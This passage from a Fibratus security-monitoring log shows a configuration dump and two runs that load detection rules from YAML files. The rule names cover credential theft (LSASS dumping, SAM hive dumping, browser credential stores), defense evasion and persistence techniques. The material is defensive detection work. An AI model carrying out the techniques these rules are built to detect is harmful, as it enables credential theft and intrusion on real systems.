from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-size=>100 level=>info formatter=>text max-backups=>15] + output ......................... [ http=>[ timeout=>5s enabled=>false method=>POST serializer=>json endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ trace-log=>false timeout=>5s sniff=>false healthcheck-interval=>10s healthcheck=>true enabled=>false template-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s index-name=>fibratus bulk-workers=>1] amqp=>[ timeout=>5s exchange-type=>topic url=>amqp://localhost:5672 tls-insecure-skip-verify=>false durable=>false exchange=>fibratus delivery-mode=>transient passive=>false enabled=>false routing-key=>fibratus vhost=>/] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-files=>false excluded-procs=>[] excluded-files=>[] skip-registry=>false fastscan=>true skip-mmaps=>false skip-allocs=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T20:25:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:26:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:27:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T20:27:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:27:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:38:04+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T20:38:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from 